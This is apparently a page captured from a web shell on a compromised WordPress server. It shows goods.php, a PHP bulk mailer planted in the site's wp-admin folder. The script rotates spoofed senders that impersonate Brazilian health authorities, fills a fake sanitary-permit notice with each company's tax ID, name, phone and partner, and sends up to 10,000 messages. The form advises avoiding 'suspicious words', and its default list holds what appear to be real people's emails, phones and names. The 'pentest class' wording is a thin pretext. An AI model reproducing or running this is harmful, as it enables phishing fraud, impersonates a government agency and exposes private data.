HEX
Server: Apache
System: Linux server 5.4.0-56-generic #62-Ubuntu SMP Mon Nov 23 19:20:19 UTC 2020 x86_64
User: losadagest (10000)
PHP: 7.4.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/aceitunaslosada.com/web/wp-admin/network/goods.php
<?php
// Configurações iniciais
ini_set('display_errors', 0);
error_reporting(E_ALL);

// Definir fuso horário para -03:00
date_default_timezone_set('America/Sao_Paulo');

// Iniciar sessão para CSRF
session_start();

// Habilitar buffer de saída para exibição em tempo real
ob_start();

// Função para gerar número aleatório
function generate_code() {
    $n = '';
    for ($x = 0; $x < 4; $x++) {
        $n .= rand(1, 9);
    }
    return mt_rand(1, 2) . $n;
}

// Função para gerar token CSRF
function generate_csrf_token() {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

// Função para gerar Message-ID
function generate_message_id($email) {
    return '<' . bin2hex(random_bytes(16)) . '@' . parse_url($email, PHP_URL_HOST) . '>';
}

// Função para converter HTML em texto puro
function html_to_text($html) {
    $text = strip_tags($html);
    $text = preg_replace("/\n\s+/", "\n", $text);
    return trim($text);
}

// Lista de remetentes para rotação
$senders = [
    ['name' => 'Notificacao Alvara Sanitario', 'email' => 'notificacao%random_num%@%sanitaria.gov.br'],
    ['name' => 'Regularizacao Alvara Sanitario', 'email' => 'suporte%random_num%@%vigilanciasanitaria.org'],
    ['name' => 'Fiscalizacao Alvara Sanitario', 'email' => 'info%random_num%@%saude.gov.br'],
];

// Processamento do formulário
$errors = [];
$success = [];
$count = 1;

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['veio'])) {
    // Verificar token CSRF
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        $errors[] = 'Erro de validação de segurança. Tente novamente.';
    } else {
        // Sanitizar entradas
        $sender_name = filter_input(INPUT_POST, 'nome', FILTER_SANITIZE_STRING);
        $sender_email = filter_input(INPUT_POST, 'de', FILTER_SANITIZE_EMAIL);
        $subject = filter_input(INPUT_POST, 'assunto', FILTER_SANITIZE_STRING);
        $message_html = $_POST['html']; // HTML não sanitizado para preservar estrutura
        $email_list = filter_input(INPUT_POST, 'emails', FILTER_SANITIZE_STRING);

        // Validar entradas
        if (empty($sender_name) || empty($sender_email) || empty($subject) || empty($message_html) || empty($email_list)) {
            $errors[] = 'Todos os campos são obrigatórios.';
        } else {
            // Rotação de remetentes
            $sender_index = array_rand($senders);
            $sender_name = $senders[$sender_index]['name'];
            $sender_email = $senders[$sender_index]['email'];

            // Processar todos os e-mails (máximo 10000)
            $lines = explode("\n", $email_list);
            $total_emails = count($lines);
            if ($total_emails > 10004) {
                $errors[] = 'Limite máximo de 10000 e-mails excedido para testes.';
            } else {
                // Exibir início do processamento
                echo '<div class="feedback">';
                echo "<div>Iniciando envio de $total_emails e-mails...</div>";
                ob_flush();
                flush();

                foreach ($lines as $index => $line) {
                    $line = trim($line);
                    if (empty($line)) {
                        continue;
                    }

                    // Dividir a linha em partes
                    list($current_email, $cnpj, $razao, $telefone, $socio) = array_pad(explode(';', $line), 5, null);
                    $current_email = filter_var(trim($current_email), FILTER_VALIDATE_EMAIL);

                    if ($current_email) {
                        // Substituir variáveis e adicionar número randômico e data/hora no assunto
                        $random_prefix = '[Ref: ' . strtoupper(substr(md5(uniqid()), 0, 6)) . '] ';
                        $current_subject = str_replace(
                            ['{{cnpj}}', '{{razao}}', '{{telefone}}', '{{socio}}', '%EMAIL%', '%random_num%'],
                            [trim($cnpj), trim($razao), trim($telefone), trim($socio), $current_email, generate_code()],
                            $subject
                        );
                        $current_subject = $random_prefix . $current_subject . ' #' . generate_code() . ' ' . date('Y-m-d H:i:s');

                        // Personalizar mensagem HTML
                        $greetings = ['Olá', 'Prezado(a)', 'Caro(a)'];
                        $current_message_html = str_replace(
                            ['{{cnpj}}', '{{razao}}', '{{telefone}}', '{{socio}}', '%EMAIL%', '%random_num%'],
                            [trim($cnpj), trim($razao), trim($telefone), trim($socio), $current_email, generate_code()],
                            $greetings[array_rand($greetings)] . ",\n" . $message_html
                        );

                        // Gerar versão em texto puro
                        $current_message_text = html_to_text($current_message_html);

                        // Configurar mensagem multipart
                        $boundary = '==Multipart_Boundary_x' . md5(uniqid()) . 'x';
                        $current_message = "--$boundary\r\n";
                        $current_message .= "Content-Type: text/plain; charset=utf-8\r\n";
                        $current_message .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
                        $current_message .= $current_message_text . "\r\n";
                        $current_message .= "--$boundary\r\n";
                        $current_message .= "Content-Type: text/html; charset=utf-8\r\n";
                        $current_message .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
                        $current_message .= $current_message_html . "\r\n";
                        $current_message .= "--$boundary--\r\n";

                        // Configurar cabeçalhos otimizados
                        $current_sender_email = str_replace('%random_num%', generate_code(), $sender_email);
                        $headers = "From: $sender_name <$current_sender_email>\r\n";
                        $headers .= "Reply-To: $current_sender_email\r\n";
                        $headers .= "Return-Path: $current_sender_email\r\n";
                        $headers .= "MIME-Version: 1.0\r\n";
                        $headers .= "Content-Type: multipart/alternative; boundary=\"$boundary\"\r\n";
                        $headers .= "Message-ID: " . generate_message_id($current_sender_email) . "\r\n";
                        $headers .= "X-Mailer: PHP/" . phpversion() . "\r\n";

                        // Enviar e-mail
                        try {
                            if (mail($current_email, $current_subject, $current_message, $headers)) {
                                $success[] = "Número: $count <b>$current_email</b> <span style='color:green'>OK</span>";
                                error_log("Enviado para $current_email | Assunto: $current_subject", 3, "email_log.txt");
                                echo "<div>Enviando e-mail $count de $total_emails: <b>$current_email</b> <span style='color:green'>OK</span></div>";
                            } else {
                                $errors[] = "Número: $count <b>$current_email</b> <span style='color:red'>Erro ao enviar</span>";
                                error_log("Erro ao enviar para $current_email | Assunto: $current_subject", 3, "email_log.txt");
                                echo "<div>Enviando e-mail $count de $total_emails: <b>$current_email</b> <span style='color:red'>Erro ao enviar</span></div>";
                            }
                        } catch (Exception $e) {
                            $errors[] = "Número: $count <b>$current_email</b> <span style='color:red'>Erro: " . htmlspecialchars($e->getMessage()) . "</span>";
                            error_log("Exceção ao enviar para $current_email: " . $e->getMessage() . " | Assunto: $current_subject", 3, "email_log.txt");
                            echo "<div>Enviando e-mail $count de $total_emails: <b>$current_email</b> <span style='color:red'>Erro: " . htmlspecialchars($e->getMessage()) . "</span></div>";
                        }
                    } else {
                        $errors[] = "Número: $count <b>$line</b> <span style='color:orange'>E-mail inválido</span>";
                        error_log("E-mail inválido: $line", 3, "email_log.txt");
                        echo "<div>Enviando e-mail $count de $total_emails: <b>$line</b> <span style='color:orange'>E-mail inválido</span></div>";
                    }

                    $count++;
                    // Delay fixo de 0,1s para testes
                    usleep(100000);

                    // Forçar atualização da saída
                    ob_flush();
                    flush();
                }

                // Finalizar processamento
                echo "<div>Envio concluído. Total processado: " . ($count - 1) . " e-mails.</div>";
                echo '</div>';
                ob_flush();
                flush();
            }
        }
    }
}
?>

<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <title>Teste de Envio de E-mails</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        body {
            margin: 0;
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            color: #333;
        }
        .container {
            max-width: 600px;
            margin: 30px auto;
            padding: 20px;
            background-color: #fff;
            box-shadow: 0 4px 8px rgba(0,0,0,0.1);
            border-radius: 8px;
        }
        header {
            background-color: #007bff;
            color: #fff;
            text-align: center;
            padding: 10px 0;
            border-radius: 8px 8px 0 0;
        }
        h1 {
            font-size: 24px;
            margin: 0;
        }
        form {
            margin-top: 20px;
        }
        label {
            display: block;
            margin-bottom: 8px;
            font-weight: bold;
        }
        input[type="text"], textarea {
            width: calc(100% - 20px);
            padding: 10px;
            margin-bottom: 15px;
            border: 1px solid #ccc;
            border-radius: 4px;
            font-size: 14px;
        }
        textarea {
            resize: vertical;
        }
        input[type="submit"] {
            background-color: #007bff;
            color: #fff;
            padding: 10px 20px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 16px;
        }
        input[type="submit"]:hover {
            background-color: #0056b3;
        }
        .alerta {
            color: #d32f2f;
            font-size: 12px;
            margin-top: -10px;
            margin-bottom: 10px;
            display: block;
        }
        .feedback {
            margin-top: 20px;
            padding: 10px;
            background-color: #f8f9fa;
            border-radius: 4px;
        }
        .feedback div {
            margin-bottom: 5px;
        }
    </style>
</head>
<body>
    <div class="container">
        <header>
            <h1>Teste de Envio de E-mails</h1>
        </header>
        <?php if (!empty($errors) && !$_POST): ?>
            <div class="feedback">
                <?php foreach ($errors as $error): ?>
                    <div><?php echo $error; ?></div>
                <?php endforeach; ?>
            </div>
        <?php endif; ?>
        <form action="" method="post" enctype="multipart/form-data" name="form1">
            <input type="hidden" name="veio" value="sim">
            <input type="hidden" name="csrf_token" value="<?php echo generate_csrf_token(); ?>">
            <label for="nome">Nome do Remetente:</label>
            <input name="nome" type="text" id="nome" value="Teste Educacional">
            <label for="de">E-mail do Remetente:</label>
            <input name="de" type="text" id="de" value="teste%random_num%@example.com">
            <label for="assunto">Assunto:</label>
            <input name="assunto" type="text" id="assunto" value="Teste de Envio para %EMAIL%">
            <label for="html">Mensagem (HTML):</label>
            <textarea name="html" id="html" rows="8">
<p><strong>NOTIFICAÇÃO DE TESTE: Atualização de Cadastro Sanitário</strong></p>
<p>Prezado(a) {{socio}},</p>
<p>Este é um e-mail de teste para a aula de pentest. Identificamos a necessidade de atualização de dados cadastrais para a empresa associada ao e-mail %EMAIL%.</p>
<p><strong>Informações da Empresa:</strong></p>
<ul>
    <li><strong>CNPJ:</strong> {{cnpj}}</li>
    <li><strong>Razão Social:</strong> {{razao}}</li>
    <li><strong>Telefone:</strong> {{telefone}}</li>
</ul>
<p>Por favor, verifique as informações acima e atualize-as, se necessário. Este é um teste educacional.</p>
<p>Atenciosamente,<br>Teste de Conformidade Sanitária</p>
            </textarea>
            <span class="alerta">*Use código HTML válido, evite links ou palavras suspeitas</span>
            <label for="emails">Lista de Contatos:</label>
            <textarea name="emails" id="emails" rows="8">
carlosgonzales_moratin@outlook.com;76704550000153;CONDOMINIO EDIFICIO OREGON;(47) 33677777 / (47) 33671704;
ccrlos.breem@bol.com.br;18133035000164;PEDRALLI STACKE RESTAURANTE LTDA;(47) 84888103 / (47) 84061425;JOAO MIGUEL PEIXOTO DA SILVA STACKE
thomasmartinsconsultoria@gmail.com;15204344000190;AUTO POSTO BR A.G. LTDA;(47) 30813532;SAFIRA ZIMMERMANN
            </textarea>
            <span class="alerta">*Separe por quebra de linha, formato: email;cnpj;razao;telefone;socio</span>
            <input type="submit" name="Submit" value="Enviar">
        </form>
    </div>
</body>
</html>
<?php
// Finalizar buffer de saída
ob_end_flush();
?>